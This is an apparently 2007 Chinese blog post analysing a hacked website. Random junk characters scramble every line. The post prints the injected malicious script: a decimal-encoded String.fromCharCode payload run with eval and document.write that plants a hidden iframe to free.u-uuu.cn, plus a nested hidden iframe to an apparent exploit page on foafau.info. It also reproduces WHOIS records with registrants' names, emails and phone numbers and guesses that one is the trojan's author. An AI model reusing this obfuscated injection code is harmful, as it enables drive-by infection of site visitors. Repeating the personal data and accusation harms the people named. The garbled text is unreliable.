首发在我的博客里面，
5N_w(B 65>1 f http://www.areway.cn/?p=175 ;Sq n
w bRhc8#kw) G 5T{* 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
[ 1$p}x G|h@O' <script>t=’60,105,102,114,97,109,101,
WkF60'Hf 32,115,114,99,61,104,116,116,112,58,47,47,
eL` }j9 102,114,101,101,46,117,45,117,117,117,46,99,
+4r.G(n), 110,47,101,114,114,111,114,46,104,116,109,
,?k~>,{3 32,119,105,100,116,104,61,49,48,48,32,104,
H E'1Wa0r 101,105,103,104,116,61,48,62,60,47,105,102,
u5 1%~ 114,97,109,101,62′;
?##3E,
/"9 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
:Nt_LsH E;vF
:?| <script>t=’60,105,102,114,97,109,101,32,115,
a*g7uao P 114,99,61,104,116,116,112,58,47,47,102,114,
]DO ~7p[ 101,101,46,117,45,117,117,117,46,99,110,47,
EW :tb-%` 101,114,114,111,114,46,104,116,109,32,119,
@N% /v* 105,100,116,104,61,49,48,48,32,104,101,105,
Q~y) V 103,104,116,61,48,62,60,47,105,102,114,97,
I/HcIBJ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ylo /]pVs document.write(t);</script>
%!vgAH4 UgBD| ~zu <html xmlns=”
I/&uiC{l@ http://www.w3.org/1999/xhtml RY4b <i3 “>
9! kH:Az[p <head>
,e{|[k <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
M`=bJO: <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
l?rT_uO 4 <title>首页 - 爱生活家庭网
#@v$`Df< A{QXzoWkg0 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(3[Lz+W.u 转换字符串后的大概内容是（谁点击后果自付）：
[Up0<`Q{I_ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
V|njgcn d }iZ>Gm '5 查询玉米u-uuu.cn的详细信息：
N;6@ f*3_i Domain Name: u-uuu.cn
Vo; B #lK ROID: 20070901s10001s64972306-cn
nbhzLUK Domain Status: ok
P\3$Y-id Registrant Organization: 王雷
<8SRt-Cr Registrant Name: 王雷
L(
B(x>w Administrative Email:
czlovexs@126.com )= :gO`"D Sponsoring Registrar: 北京万网志成科技有限公司
t]QGyW A] Name Server:ns.yovole.com
]\8{z" Name Server:ns1.yovole.com
- 2`D(xC Registration Date: 2007-09-01 17:54
`O'@TrI Expiration Date: 2008-09-01 17:54
M
}H7`,@I 最后PING了一下地址 都没有什么….
\`MX\ OR `H7V[' 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
>.fN@8[ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
)HFl 0[vT <script language=”javascript” src=”
bB#6Xx http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ;Bs^+R7 >
-T 5$l 这个玉米应该有可能是木马作者的：
qOi3`6LCV foafau.info的详细信息：
! 54(K6a[ Access to INFO WHOIS information is provided to assist persons in
J(s%"d determining the contents of a domain name registration record in the
<r1N6(n Afilias registry database. The data in this record is provided by
EXrOP] Kl Afilias Limited for informational purposes only, and Afilias does not
2|8&=K / guarantee its accuracy. This service is intended only for query-based
C K{.Ic^ access. You agree that you will use this data only for lawful purposes
4=T>Iy and that, under no circumstances will you use this data to: (a) allow,
eL7rX"! enable, or otherwise support the transmission by e-mail, telephone, or
N)0I+>, ^ facsimile of mass unsolicited, commercial advertising or solicitations
8r 4
L4 to entities other than the data recipient’s own existing customers; or
>UQ`@GdafR (b) enable high volume, automated, electronic processes that send
u{@b_7 5Y queries or data to the systems of Registry Operator, a Registrar, or
h>l Afilias except as reasonably necessary to register domain names or
f7Dx .- modify existing registrations. All rights reserved. Afilias reserves
"E><:_,\ the right to modify these terms at any time. By submitting this query,
luEP5l2& you agree to abide by this policy.
3}}#'5D Domain ID:D22418703-LRMS
x!<?/I)X Domain Name:FOAFAU.INFO
R^i8AbFW Created On:20-Nov-2007 16:05:42 UTC
6-'Y* Last Updated On:20-Nov-2007 16:05:44 UTC
4*<27 Expiration Date:20-Nov-2008 16:05:42 UTC
b,7@)sZ* Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
/^ d!$ v Status:CLIENT DELETE PROHIBITED
zg3q\ ~ Status:CLIENT RENEW PROHIBITED
9bDxml1 Status:CLIENT TRANSFER PROHIBITED
D-zqu~f` Status:CLIENT UPDATE PROHIBITED
+QqEUf<U*, Status:TRANSFER PROHIBITED
`B ^ HW8 Registrant ID:GODA-040110615
/ y \K La Registrant Name:liu hong
&f\ng{ Registrant Organization:
jx=2^A/i2- Registrant Street1:beijing
b ~Qd9 Nf Registrant Street2:
fYU-pdWPT Registrant Street3:
FDHa|<oz Registrant City:beijing
E+ 6 5 Registrant State/Province:
\ \qw"w9 Registrant Postal Code:100000
6^L4wd7) Registrant Country:CN
[y>;[K Registrant Phone:+86.860108888777
@nJ#kd[ Registrant Phone Ext.:
?1I0V A'] Registrant FAX:
olC@nQ1c* Registrant FAX Ext.:
IEB|Y Registrant Email:bbbshiji@163.com
4Qr16,Us Admin ID:GODA-240110615
r[:)-`]b Admin Name:liu hong
C#5 z!z/:% Admin Organization:
| Wrf|%p Admin Street1:beijing
t._W643~ Admin Street2:
p& > z=Z* Admin Street3:
r9/PmZo4x Admin City:beijing
F1@gYNbI, Admin State/Province:
Um
k9 Admin Postal Code:100000
w*})ZYIUT Admin Country:CN
&b 2Vt Admin Phone:+86.860108888777
!9l
c6W Admin Phone Ext.:
B6gSt3w. Admin FAX:
=NH
p%| Admin FAX Ext.:
a& Ti44a[ Admin Email:bbbshiji@163.com
t Ztyx;EP Billing ID:GODA-340110615
t`
R#pQ Billing Name:liu hong
:bLL N Billing Organization:
6'e}!O Billing Street1:beijing
npH2&6Yhi^ Billing Street2:
3|Q:tt'|# Billing Street3:
Rld1pX2v Billing City:beijing
Q']
_3 Billing State/Province:
]@W.5!5H Billing Postal Code:100000
6xs_@Vk|d Billing Country:CN
@)>9l& Billing Phone:+86.860108888777
F/\w4T Billing Phone Ext.:
v1yNVs \} Billing FAX:
slV+2b Billing FAX Ext.:
[s-Km/ Billing Email:bbbshiji@163.com
D7b<&D@ Tech ID:GODA-140110615
uL^ Qtmm>M Tech Name:liu hong
Y!LcS48X Tech Organization:
KZ/U2.{O< Tech Street1:beijing
**V^8'W< Tech Street2:
zg!;g`Z@S Tech Street3:
a %"My;8 Tech City:beijing
m}] bP Tech State/Province:
hL#5:~( Tech Postal Code:100000
Iaf"j 2B Tech Country:CN
H gMLh* Tech Phone:+86.860108888777
;E /:_DWPD Tech Phone Ext.:
K.?~@5% Tech FAX:
9FT;? ~, Tech FAX Ext.:
"VxZnT Tech Email:bbbshiji@163.com
, ;L Name Server:NS27.DOMAINCONTROL.COM
bv`gjR Name Server:NS28.DOMAINCONTROL.COM
KH)(xB= Name Server:
0w V!mC Name Server:
{O,D9 < Name Server:
$j*j {}K Name Server:
.
KJ EA # Name Server:
Z
55iq Name Server:
3A%/H ` Name Server:
m!3L/ UZ Name Server:
> $0eRVL Name Server:
p#W[ he Name Server:
wkK61a h6 Name Server:
m5lMh14E (.,`<rXw 接着下载每个文件里面的代码：
{x e$ 一步一步看..
h4 x*C=?A 
/T`L;YE 
<>`+" O} 
kVk^?F 
_4iTP$7[ 
gNJ,Bj Pd 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
